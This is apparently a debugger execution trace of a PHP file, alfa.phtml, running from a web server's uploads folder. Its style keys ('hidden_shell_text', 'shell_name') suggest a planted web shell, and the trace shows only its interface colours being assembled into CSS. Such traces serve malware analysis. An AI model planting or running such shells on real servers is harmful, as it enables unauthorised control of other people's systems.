5 A /var/www/html/uploads/alfa.phtml 618 $target = ['key_color' => '#646464', 'multi_selector' => ['.menu_options:hover' => 'background-color: {color};font-weight: unset;']]
5 158 1 0.019767 2800056
5 158 R '#646464'
4 A /var/www/html/uploads/alfa.phtml 635 $color = '#646464'
5 159 0 0.019791 2800056 str_replace 0 /var/www/html/uploads/alfa.phtml 636 3 '{color}' '#646464' 'background-color: {color};font-weight: unset;'
5 159 1 0.019813 2800232
5 159 R 'background-color: #646464;font-weight: unset;'
4 A /var/www/html/uploads/alfa.phtml 636 $code = 'background-color: #646464;font-weight: unset;'
4 A /var/www/html/uploads/alfa.phtml 637 $css .= '.menu_options:hover{background-color: #646464;font-weight: unset;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'options_list'
4 A /var/www/html/uploads/alfa.phtml 634 $k = '.content_options_holder .header center a'
5 160 0 0.019879 2800224 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 635 1 'options_list'
5 A /var/www/html/uploads/alfa.phtml 618 $target = ['key_color' => '#00FF00', 'multi_selector' => ['.content_options_holder .header center a' => 'color: {color};']]
5 160 1 0.019911 2800224
5 160 R '#00FF00'
4 A /var/www/html/uploads/alfa.phtml 635 $color = '#00FF00'
5 161 0 0.019935 2800224 str_replace 0 /var/www/html/uploads/alfa.phtml 636 3 '{color}' '#00FF00' 'color: {color};'
5 161 1 0.019950 2800360
5 161 R 'color: #00FF00;'
4 A /var/www/html/uploads/alfa.phtml 636 $code = 'color: #00FF00;'
4 A /var/www/html/uploads/alfa.phtml 637 $css .= '.content_options_holder .header center a{color: #00FF00;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'options_list:hover'
4 A /var/www/html/uploads/alfa.phtml 634 $k = '.content_options_holder .header center a:hover'
5 162 0 0.020010 2800184 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 635 1 'options_list:hover'
5 A /var/www/html/uploads/alfa.phtml 618 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.content_options_holder .header center a:hover' => 'color: {color};']]
5 162 1 0.020041 2800184
5 162 R '#FFFFFF'
4 A /var/www/html/uploads/alfa.phtml 635 $color = '#FFFFFF'
5 163 0 0.020065 2800184 str_replace 0 /var/www/html/uploads/alfa.phtml 636 3 '{color}' '#FFFFFF' 'color: {color};'
5 163 1 0.020080 2800320
5 163 R 'color: #FFFFFF;'
4 A /var/www/html/uploads/alfa.phtml 636 $code = 'color: #FFFFFF;'
4 A /var/www/html/uploads/alfa.phtml 637 $css .= '.content_options_holder .header center a:hover{color: #FFFFFF;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'options_list_header'
4 A /var/www/html/uploads/alfa.phtml 634 $k = '.txtfont_header'
5 164 0 0.020139 2800312 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 635 1 'options_list_header'
5 A /var/www/html/uploads/alfa.phtml 618 $target = ['key_color' => '#59cc33', 'multi_selector' => ['.txtfont_header' => 'color: {color};']]
5 164 1 0.020169 2800312
5 164 R '#59cc33'
4 A /var/www/html/uploads/alfa.phtml 635 $color = '#59cc33'
5 165 0 0.020193 2800312 str_replace 0 /var/www/html/uploads/alfa.phtml 636 3 '{color}' '#59cc33' 'color: {color};'
5 165 1 0.020208 2800448
5 165 R 'color: #59cc33;'
4 A /var/www/html/uploads/alfa.phtml 636 $code = 'color: #59cc33;'
4 A /var/www/html/uploads/alfa.phtml 637 $css .= '.txtfont_header{color: #59cc33;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'options_list_text'
4 A /var/www/html/uploads/alfa.phtml 634 $k = '.txtfont,.tbltxt'
5 166 0 0.020267 2800312 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 635 1 'options_list_text'
5 A /var/www/html/uploads/alfa.phtml 618 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.txtfont,.tbltxt' => 'color: {color};']]
5 166 1 0.020297 2800312
5 166 R '#FFFFFF'
4 A /var/www/html/uploads/alfa.phtml 635 $color = '#FFFFFF'
5 167 0 0.020321 2800312 str_replace 0 /var/www/html/uploads/alfa.phtml 636 3 '{color}' '#FFFFFF' 'color: {color};'
5 167 1 0.020335 2800448
5 167 R 'color: #FFFFFF;'
4 A /var/www/html/uploads/alfa.phtml 636 $code = 'color: #FFFFFF;'
4 A /var/www/html/uploads/alfa.phtml 637 $css .= '.txtfont,.tbltxt{color: #FFFFFF;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'Alfa+'
4 A /var/www/html/uploads/alfa.phtml 634 $k = '.alfa_plus'
5 168 0 0.020393 2800312 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 635 1 'Alfa+'
5 A /var/www/html/uploads/alfa.phtml 618 $target = ['key_color' => '#06ff0f', 'multi_selector' => ['.alfa_plus' => 'color: {color};font-weight: unset;']]
5 168 1 0.020427 2800312
5 168 R '#06ff0f'
4 A /var/www/html/uploads/alfa.phtml 635 $color = '#06ff0f'
5 169 0 0.020452 2800312 str_replace 0 /var/www/html/uploads/alfa.phtml 636 3 '{color}' '#06ff0f' 'color: {color};font-weight: unset;'
5 169 1 0.020468 2800472
5 169 R 'color: #06ff0f;font-weight: unset;'
4 A /var/www/html/uploads/alfa.phtml 636 $code = 'color: #06ff0f;font-weight: unset;'
4 A /var/www/html/uploads/alfa.phtml 637 $css .= '.alfa_plus{color: #06ff0f;font-weight: unset;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'hidden_shell_text'
4 A /var/www/html/uploads/alfa.phtml 634 $k = '#hidden_sh a'
5 170 0 0.020528 2800336 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 635 1 'hidden_shell_text'
5 A /var/www/html/uploads/alfa.phtml 618 $target = ['key_color' => '#00FF00', 'multi_selector' => ['#hidden_sh a' => 'color: {color};']]
5 170 1 0.020558 2800336
5 170 R '#00FF00'
4 A /var/www/html/uploads/alfa.phtml 635 $color = '#00FF00'
5 171 0 0.020581 2800336 str_replace 0 /var/www/html/uploads/alfa.phtml 636 3 '{color}' '#00FF00' 'color: {color};'
5 171 1 0.020596 2800472
5 171 R 'color: #00FF00;'
4 A /var/www/html/uploads/alfa.phtml 636 $code = 'color: #00FF00;'
4 A /var/www/html/uploads/alfa.phtml 637 $css .= '#hidden_sh a{color: #00FF00;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'hidden_shell_version'
5 172 0 0.020643 2800568 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 630 1 'hidden_shell_version'
5 A /var/www/html/uploads/alfa.phtml 618 $target = '#ff0000'
5 172 1 0.020668 2800568
5 172 R '#ff0000'
4 A /var/www/html/uploads/alfa.phtml 630 $value = '#ff0000'
4 A /var/www/html/uploads/alfa.phtml 631 $css .= '.hidden_shell_version{color: #ff0000;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'shell_name'
5 173 0 0.020714 2800568 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 630 1 'shell_name'
5 A /var/www/html/uploads/alfa.phtml 618 $target = '#FF0000'
5 173 1 0.020738 2800568
5 173 R '#FF0000'
4 A /var/www/html/uploads/alfa.phtml 630 $value = '#FF0000'
4 A /var/www/html/uploads/alfa.phtml 631 $css .= '.shell_name{color: #FF0000;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'main_row:hover'
4 A /var/www/html/uploads/alfa.phtml 634 $k = '.main tr:hover'
5 174 0 0.020794 2800568 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 635 1 'main_row:hover'
5 A /var/www/html/uploads/alfa.phtml 618 $target = ['key_color' => '#646464', 'multi_selector' => ['.main tr:hover' => 'background-color: {color};']]
5 174 1 0.020825 2800568
5 174 R '#646464'
4 A /var/www/html/uploads/alfa.phtml 635 $color = '#646464'
5 175 0 0.020849 2800568 str_replace 0 /var/www/html/uploads/alfa.phtml 636 3 '{color}' '#646464' 'background-color: {color};'
5 175 1 0.020866 2800720
5 175 R 'background-color: #646464;'
4 A /var/www/html/uploads/alfa.phtml 636 $code = 'background-color: #646464;'
4 A /var/www/html/uploads/alfa.phtml 637 $css .= '.main tr:hover{background-color: #646464;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'main_header'
4 A /var/www/html/uploads/alfa.phtml 634 $k = '.main th'
5 176 0 0.020925 2800584 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 635 1 'main_header'
5 A /var/www/html/uploads/alfa.phtml 618 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.main th' => 'color: {color};']]
5 176 1 0.020954 2800584
5 176 R '#FFFFFF'
4 A /var/www/html/uploads/alfa.phtml 635 $color = '#FFFFFF'
5 177 0 0.020979 2800584 str_replace 0 /var/www/html/uploads/alfa.phtml 636 3 '{color}' '#FFFFFF' 'color: {color};'
5 177 1 0.020993 2800720
5 177 R 'color: #FFFFFF;'
4 A /var/www/html/uploads/alfa.phtml 636 $code = 'color: #FFFFFF;'
4 A /var/www/html/uploads/alfa.phtml 637 $css .= '.main th{color: #FFFFFF;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'main_name'
4 A /var/www/html/uploads/alfa.phtml 634 $k = '.main .main_name'
5 178 0 0.021051 2800568 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 635 1 'main_name'
5 A /var/www/html/uploads/alfa.phtml 618 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.main .main_name' => 'color: {color};font-weight: unset;']]
5 178 1 0.021088 2800568
5 178 R '#FFFFFF'
4 A /var/www/html/uploads/alfa.phtml 635 $color = '#FFFFFF'
5 179 0 0.021112 2800568 str_replace 0 /var/www/html/uploads/alfa.phtml 636 3 '{color}' '#FFFFFF' 'color: {color};font-weight: unset;'
5 179 1 0.021128 2800728
5 179 R 'color: #FFFFFF;font-weight: unset;'
4 A /var/www/html/uploads/alfa.phtml 636 $code = 'color: #FFFFFF;font-weight: unset;'
4 A /var/www/html/uploads/alfa.phtml 637 $css .= '.main .main_name{color: #FFFFFF;font-weight: unset;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'main_size'
5 180 0 0.021179 2800592 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 630 1 'main_size'
5 A /var/www/html/uploads/alfa.phtml 618 $target = '#67ABDF'
5 180 1 0.021203 2800592
5 180 R '#67ABDF'
4 A /var/www/html/uploads/alfa.phtml 630 $value = '#67ABDF'
4 A /var/www/html/uploads/alfa.phtml 631 $css .= '.main_size{color: #67ABDF;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'main_modify'
5 181 0 0.021250 2800592 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 630 1 'main_modify'
5 A /var/www/html/uploads/alfa.phtml 618 $target = '#67ABDF'
5 181 1 0.021274 2800592
5 181 R '#67ABDF'
4 A /var/www/html/uploads/alfa.phtml 630 $value = '#67ABDF'
4 A /var/www/html/uploads/alfa.phtml 631 $css .= '.main_modify{color: #67ABDF;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'main_owner_group'
5 182 0 0.021320 2800848 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 630 1 'main_owner_group'
5 A /var/www/html/uploads/alfa.phtml 618 $target = '#67ABDF'
5 182 1 0.021344 2800848
5 182 R '#67ABDF'
4 A /var/www/html/uploads/alfa.phtml 630 $value = '#67ABDF'
4 A /var/www/html/uploads/alfa.phtml 631 $css .= '.main_owner_group{color: #67ABDF;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'main_green_perm'
5 183 0 0.021390 2800848 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 630 1 'main_green_perm'
5 A /var/www/html/uploads/alfa.phtml 618 $target = '#25ff00'
5 183 1 0.021414 2800848
5 183 R '#25ff00'
4 A /var/www/html/uploads/alfa.phtml 630 $value = '#25ff00'
4 A /var/www/html/uploads/alfa.phtml 631 $css .= '.main_green_perm{color: #25ff00;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'main_red_perm'
5 184 0 0.021459 2800848 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 630 1 'main_red_perm'
5 A /var/www/html/uploads/alfa.phtml 618 $target = '#FF0000'
5 184 1 0.021483 2800848
5 184 R '#FF0000'
4 A /var/www/html/uploads/alfa.phtml 630 $value = '#FF0000'
4 A /var/www/html/uploads/alfa.phtml 631 $css .= '.main_red_perm{color: #FF0000;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'main_white_perm'
5 185 0 0.021530 2800848 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 630 1 'main_white_perm'
5 A /var/www/html/uploads/alfa.phtml 618 $target = '#FFFFFF'
5 185 1 0.021554 2800848
5 185 R '#FFFFFF'
4 A /var/www/html/uploads/alfa.phtml 630 $value = '#FFFFFF'
4 A /var/www/html/uploads/alfa.phtml 631 $css .= '.main_white_perm{color: #FFFFFF;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'beetween_perms'
5 186 0 0.021599 2800848 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 630 1 'beetween_perms'
5 A /var/www/html/uploads/alfa.phtml 618 $target = '#FFFFFF'
5 186 1 0.021636 2800848
5 186 R '#FFFFFF'
4 A /var/www/html/uploads/alfa.phtml 630 $value = '#FFFFFF'
4 A /var/www/html/uploads/alfa.phtml 631 $css .= '.beetween_perms{color: #FFFFFF;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'main_actions'
4 A /var/www/html/uploads/alfa.phtml 634 $k = '.main .actions'
5 187 0 0.021694 2800848 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 635 1 'main_actions'
5 A /var/www/html/uploads/alfa.phtml 618 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.main .actions' => 'color: {color};']]
5 187 1 0.021727 2800848
5 187 R '#FFFFFF'
4 A /var/www/html/uploads/alfa.phtml 635 $color = '#FFFFFF'
5 188 0 0.021752 2800848 str_replace 0 /var/www/html/uploads/alfa.phtml 636 3 '{color}' '#FFFFFF' 'color: {color};'
5 188 1 0.021766 2800984
5 188 R 'color: #FFFFFF;'
4 A /var/www/html/uploads/alfa.phtml 636 $code = 'color: #FFFFFF;'
4 A /var/www/html/uploads/alfa.phtml 637 $css .= '.main .actions{color: #FFFFFF;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'minimize_editor_background'
4 A /var/www/html/uploads/alfa.phtml 634 $k = '.minimized-wrapper'
5 189 0 0.021824 2800824 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 635 1 'minimize_editor_background'
5 A /var/www/html/uploads/alfa.phtml 618 $target = ['key_color' => '#0e304a', 'multi_selector' => ['.minimized-wrapper' => 'background-color: {color};']]
5 189 1 0.021856 2800824
5 189 R '#0e304a'
4 A /var/www/html/uploads/alfa.phtml 635 $color = '#0e304a'
5 190 0 0.021880 2800824 str_replace 0 /var/www/html/uploads/alfa.phtml 636 3 '{color}' '#0e304a' 'background-color: {color};'
5 190 1 0.021897 2800976
5 190 R 'background-color: #0e304a;'
4 A /var/www/html/uploads/alfa.phtml 636 $code = 'background-color: #0e304a;'
4 A /var/www/html/uploads/alfa.phtml 637 $css .= '.minimized-wrapper{background-color: #0e304a;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'minimize_editor_text'
4 A /var/www/html/uploads/alfa.phtml 634 $k = '.minimized-text'
5 191 0 0.021958 2800840 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 635 1 'minimize_editor_text'
5 A /var/www/html/uploads/alfa.phtml 618 $target = ['key_color' => '#f5deb3', 'multi_selector' => ['.minimized-text' => 'color: {color};']]
5 191 1 0.021988 2800840
5 191 R '#f5deb3'
4 A /var/www/html/uploads/alfa.phtml 635 $color = '#f5deb3'
5 192 0 0.022013 2800840 str_replace 0 /var/www/html/uploads/alfa.phtml 636 3 '{color}' '#f5deb3' 'color: {color};'
5 192 1 0.022028 2800976
5 192 R 'color: #f5deb3;'
4 A /var/www/html/uploads/alfa.phtml 636 $code = 'color: #f5deb3;'
4 A /var/www/html/uploads/alfa.phtml 637 $css .= '.minimized-text{color: #f5deb3;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'editor_border'
4 A /var/www/html/uploads/alfa.phtml 634 $k = '.editor-explorer,.editor-modal'
5 193 0 0.022088 2801080 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 635 1 'editor_border'
5 A /var/www/html/uploads/alfa.phtml 618 $target = ['key_color' => '#0e304a', 'multi_selector' => ['.editor-explorer,.editor-modal' => 'border: 2px solid {color};']]
5 193 1 0.022120 2801080
5 193 R '#0e304a'
4 A /var/www/html/uploads/alfa.phtml 635 $color = '#0e304a'
5 194 0 0.022144 2801080 str_replace 0 /var/www/html/uploads/alfa.phtml 636 3 '{color}' '#0e304a' 'border: 2px solid {color};'
5 194 1 0.022160 2801232
5 194 R 'border: 2px solid #0e304a;'
4 A /var/www/html/uploads/alfa.phtml 636 $code = 'border: 2px solid #0e304a;'
4 A /var/www/html/uploads/alfa.phtml 637 $css .= '.editor-explorer,.editor-modal{border: 2px solid #0e304a;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'editor_background'
4 A /var/www/html/uploads/alfa.phtml 634 $k = '.editor-explorer,.editor-modal'
5 195 0 0.022223 2801096 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 635 1 'editor_background'
5 A /var/www/html/uploads/alfa.phtml 618 $target = ['key_color' => 'rgba(0, 1, 23, 0.94)', 'multi_selector' => ['.editor-explorer,.editor-modal' => 'background-color: {color};']]
5 195 1 0.022256 2801096
5 195 R 'rgba(0, 1, 23, 0.94)'
4 A /var/www/html/uploads/alfa.phtml 635 $color = 'rgba(0, 1, 23, 0.94)'
5 196 0 0.022281 2801096 str_replace 0 /var/www/html/uploads/alfa.phtml 636 3 '{color}' 'rgba(0, 1, 23, 0.94)' 'background-color: {color};'
5 196 1 0.022298 2801272
5 196 R 'background-color: rgba(0, 1, 23, 0.94);'
4 A /var/www/html/uploads/alfa.phtml 636 $code = 'background-color: rgba(0, 1, 23, 0.94);'
4 A /var/www/html/uploads/alfa.phtml 637 $css .= '.editor-explorer,.editor-modal{background-color: rgba(0, 1, 23, 0.94);}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'editor_header_background'
4 A /var/www/html/uploads/alfa.phtml 634 $k = '.editor-header'
5 197 0 0.022367 2801120 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 635 1 'editor_header_background'
5 A /var/www/html/uploads/alfa.phtml 618 $target = ['key_color' => 'rgba(21, 66, 88, 0.93)', 'multi_selector' => ['.editor-header' => 'background-color: {color};']]
5 197 1 0.022399 2801120
5 197 R 'rgba(21, 66, 88, 0.93)'
4 A /var/www/html/uploads/alfa.phtml 635 $color = 'rgba(21, 66, 88, 0.93)'
5 198 0 0.022426 2801120 str_replace 0 /var/www/html/uploads/alfa.phtml 636 3 '{color}' 'rgba(21, 66, 88, 0.93)' 'background-color: {color};'
5 198 1 0.022442 2801296
5 198 R 'background-color: rgba(21, 66, 88, 0.93);'
4 A /var/www/html/uploads/alfa.phtml 636 $code = 'background-color: rgba(21, 66, 88, 0.93);'
4 A /var/www/html/uploads/alfa.phtml 637 $css .= '.editor-header{background-color: rgba(21, 66, 88, 0.93);}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'editor_header_text'
4 A /var/www/html/uploads/alfa.phtml 634 $k = '.editor-path'
5 199 0 0.022505 2801120 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 635 1 'editor_header_text'
5 A /var/www/html/uploads/alfa.phtml 618 $target = ['key_color' => '#00ff7f', 'multi_selector' => ['.editor-path' => 'color: {color};']]
5 199 1 0.022536 2801120
5 199 R '#00ff7f'
4 A /var/www/html/uploads/alfa.phtml 635 $color = '#00ff7f'
5 200 0 0.022560 2801120 str_replace 0 /var/www/html/uploads/alfa.phtml 636 3 '{color}' '#00ff7f' 'color: {color};'
5 200 1 0.022575 2801256
5 200 R 'color: #00ff7f;'
4 A /var/www/html/uploads/alfa.phtml 636 $code = 'color: #00ff7f;'
4 A /var/www/html/uploads/alfa.phtml 637 $css .= '.editor-path{color: #00ff7f;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'editor_header_button'
4 A /var/www/html/uploads/alfa.phtml 634 $k = '.close-button, .editor-minimize'
5 201 0 0.022634 2801080 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 635 1 'editor_header_button'
5 A /var/www/html/uploads/alfa.phtml 618 $target = ['key_color' => '#1d5673', 'multi_selector' => ['.close-button, .editor-minimize' => 'background-color: {color};']]
5 201 1 0.022666 2801080
5 201 R '#1d5673'
4 A /var/www/html/uploads/alfa.phtml 635 $color = '#1d5673'
5 202 0 0.022691 2801080 str_replace 0 /var/www/html/uploads/alfa.phtml 636 3 '{color}' '#1d5673' 'background-color: {color};'
5 202 1 0.022707 2801232
5 202 R 'background-color: #1d5673;'
4 A /var/www/html/uploads/alfa.phtml 636 $code = 'background-color: #1d5673;'
4 A /var/www/html/uploads/alfa.phtml 637 $css .= '.close-button, .editor-minimize{background-color: #1d5673;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'editor_actions'
4 A /var/www/html/uploads/alfa.phtml 634 $k = '.editor_actions'
5 203 0 0.022770 2801352 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 635 1 'editor_actions'
5 A /var/www/html/uploads/alfa.phtml 618 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.editor_actions' => 'color: {color};']]
5 203 1 0.022800 2801352
5 203 R '#FFFFFF'
4 A /var/www/html/uploads/alfa.phtml 635 $color = '#FFFFFF'
5 204 0 0.022824 2801352 str_replace 0 /var/www/html/uploads/alfa.phtml 636 3 '{color}' '#FFFFFF' 'color: {color};'
5 204 1 0.022839 2801488
5 204 R 'color: #FFFFFF;'
4 A /var/www/html/uploads/alfa.phtml 636 $code = 'color: #FFFFFF;'
4 A /var/www/html/uploads/alfa.phtml 637 $css .= '.editor_actions{color: #FFFFFF;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'editor_file_info_vars'
4 A /var/www/html/uploads/alfa.phtml 634 $k = '.editor_file_info_vars'
5 205 0 0.022898 2801336 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 635 1 'editor_file_info_vars'
5 A /var/www/html/uploads/alfa.phtml 618 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.editor_file_info_vars' => 'color: {color};']]
5 205 1 0.022929 2801336
5 205 R '#FFFFFF'
4 A /var/www/html/uploads/alfa.phtml 635 $color = '#FFFFFF'
5 206 0 0.022953 2801336 str_replace 0 /var/www/html/uploads/alfa.phtml 636 3 '{color}' '#FFFFFF' 'color: {color};'
5 206 1 0.022970 2801472
5 206 R 'color: #FFFFFF;'
4 A /var/www/html/uploads/alfa.phtml 636 $code = 'color: #FFFFFF;'
4 A /var/www/html/uploads/alfa.phtml 637 $css .= '.editor_file_info_vars{color: #FFFFFF;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'editor_file_info_values'
4 A /var/www/html/uploads/alfa.phtml 634 $k = '.filestools'
5 207 0 0.023029 2801336 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 635 1 'editor_file_info_values'
5 A /var/www/html/uploads/alfa.phtml 618 $target = ['key_color' => '#67ABDF', 'multi_selector' => ['.filestools' => 'color: {color};']]
5 207 1 0.023059 2801336
5 207 R '#67ABDF'
4 A /var/www/html/uploads/alfa.phtml 635 $color = '#67ABDF'
5 208 0 0.023084 2801336 str_replace 0 /var/www/html/uploads/alfa.phtml 636 3 '{color}' '#67ABDF' 'color: {color};'
5 208 1 0.023099 2801472
5 208 R 'color: #67ABDF;'
4 A /var/www/html/uploads/alfa.phtml 636 $code = 'color: #67ABDF;'
4 A /var/www/html/uploads/alfa.phtml 637 $css .= '.filestools{color: #67ABDF;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'editor_history_header'
4 A /var/www/html/uploads/alfa.phtml 634 $k = '.hheader-text,.history-clear'
5 209 0 0.023164 2801336 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 635 1 'editor_history_header'
5 A /var/www/html/uploads/alfa.phtml 618 $target = ['key_color' => '#14ff07', 'multi_selector' => ['.hheader-text,.history-clear' => 'color: {color};']]
5 209 1 0.023196 2801336
5 209 R '#14ff07'
4 A /var/www/html/uploads/alfa.phtml 635 $color = '#14ff07'
5 210 0 0.023221 2801336 str_replace 0 /var/www/html/uploads/alfa.phtml 636 3 '{color}' '#14ff07' 'color: {color};'
5 210 1 0.023235 2801472
5 210 R 'color: #14ff07;'
4 A /var/www/html/uploads/alfa.phtml 636 $code = 'color: #14ff07;'
4 A /var/www/html/uploads/alfa.phtml 637 $css .= '.hheader-text,.history-clear{color: #14ff07;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'editor_history_list'
4 A /var/www/html/uploads/alfa.phtml 634 $k = '.editor-file-name'
5 211 0 0.023305 2801336 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 635 1 'editor_history_list'
5 A /var/www/html/uploads/alfa.phtml 618 $target = ['key_color' => '#03b3a3', 'multi_selector' => ['.editor-file-name' => 'color: {color};']]
5 211 1 0.023346 2801336
5 211 R '#03b3a3'
4 A /var/www/html/uploads/alfa.phtml 635 $color = '#03b3a3'
5 212 0 0.023378 2801336 str_replace 0 /var/www/html/uploads/alfa.phtml 636 3 '{color}' '#03b3a3' 'color: {color};'
5 212 1 0.023394 2801472
5 212 R 'color: #03b3a3;'
4 A /var/www/html/uploads/alfa.phtml 636 $code = 'color: #03b3a3;'
4 A /var/www/html/uploads/alfa.phtml 637 $css .= '.editor-file-name{color: #03b3a3;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'editor_history_selected_file'
4 A /var/www/html/uploads/alfa.phtml 634 $k = '.is_active'
5 213 0 0.023453 2801336 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 635 1 'editor_history_selected_file'
5 A /var/www/html/uploads/alfa.phtml 618 $target = ['key_color' => 'rgba(49, 55, 93, 0.77)', 'multi_selector' => ['.is_active' => 'background-color: {color};']]
5 213 1 0.023494 2801336
5 213 R 'rgba(49, 55, 93, 0.77)'
4 A /var/www/html/uploads/alfa.phtml 635 $color = 'rgba(49, 55, 93, 0.77)'
5 214 0 0.023542 2801336 str_replace 0 /var/www/html/uploads/alfa.phtml 636 3 '{color}' 'rgba(49, 55, 93, 0.77)' 'background-color: {color};'
5 214 1 0.023570 2801512
5 214 R 'background-color: rgba(49, 55, 93, 0.77);'
4 A /var/www/html/uploads/alfa.phtml 636 $code = 'background-color: rgba(49, 55, 93, 0.77);'
4 A /var/www/html/uploads/alfa.phtml 637 $css .= '.is_active{background-color: rgba(49, 55, 93, 0.77);}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'editor_history_file:hover'
4 A /var/www/html/uploads/alfa.phtml 634 $k = '.file-holder > .history:hover'
5 215 0 0.023689 2801888 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 635 1 'editor_history_file:hover'
5 A /var/www/html/uploads/alfa.phtml 618 $target = ['key_color' => '#646464', 'multi_selector' => ['.file-holder > .history:hover' => 'background-color: {color};']]
5 215 1 0.023761 2801888
5 215 R '#646464'
4 A /var/www/html/uploads/alfa.phtml 635 $color = '#646464'
5 216 0 0.023810 2801888 str_replace 0 /var/www/html/uploads/alfa.phtml 636 3 '{color}' '#646464' 'background-color: {color};'
5 216 1 0.023838 2802040
5 216 R 'background-color: #646464;'
4 A /var/www/html/uploads/alfa.phtml 636 $code = 'background-color: #646464;'
4 A /var/www/html/uploads/alfa.phtml 637 $css .= '.file-holder > .history:hover{background-color: #646464;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'input_box_border'
4 A /var/www/html/uploads/alfa.phtml 634 $k = 'input[type=text],textarea'
5 217 0 0.023956 2801864 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 635 1 'input_box_border'
5 A /var/www/html/uploads/alfa.phtml 618 $target = ['key_color' => '#0E304A', 'multi_selector' => ['input[type=text],textarea' => 'border: 1px solid {color}']]
5 217 1 0.024011 2801864
5 217 R '#0E304A'
4 A /var/www/html/uploads/alfa.phtml 635 $color = '#0E304A'
5 218 0 0.024055 2801864 str_replace 0 /var/www/html/uploads/alfa.phtml 636 3 '{color}' '#0E304A' 'border: 1px solid {color}'
5 218 1 0.024084 2802016
5 218 R 'border: 1px solid #0E304A'
4 A /var/www/html/uploads/alfa.phtml 636 $code = 'border: 1px solid #0E304A'
4 A /var/www/html/uploads/alfa.phtml 637 $css .= 'input[type=text],textarea{border: 1px solid #0E304A}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'input_box_text'
4 A /var/www/html/uploads/alfa.phtml 634 $k = 'input[type=text],textarea'
5 219 0 0.024194 2801864 alfa_getColor 1 /var/www/html/uploads/alfa.phtml 635 1 'input_box_text'
5 A /var/www/html/uploads/alfa.phtml 618 $target = ['key_color' => '#999999', 'multi_selector' => ['input[type=text],textarea' => 'color: {color};']]
5 219 1 0.024245 2801864
5 219 R '#999999'
4 A /var/www/html/uploads/alfa.phtml 635 $color = '#999999'
5 220 0 0.024289 2801864 str_replace 0 /var/www/html/uploads/alfa.phtml 636 3 '{color}' '#999999' 'color: {color};'
5 220 1 0.024314 2802000
5 220 R 'color: #999999;'
4 A /var/www/html/uploads/alfa.phtml 636 $code = 'color: #999999;'
4 A /var/www/html/uploads/alfa.phtml 637 $css .= 'input[type=text],textarea{color: #999999;}'
4 A /var/www/html/uploads/alfa.phtml 628 $key = 'input_box:hover'
4 A /var/www/html/uploads/alfa.phtml 634 $k = 'input[type=text]:hover,textarea:hover'
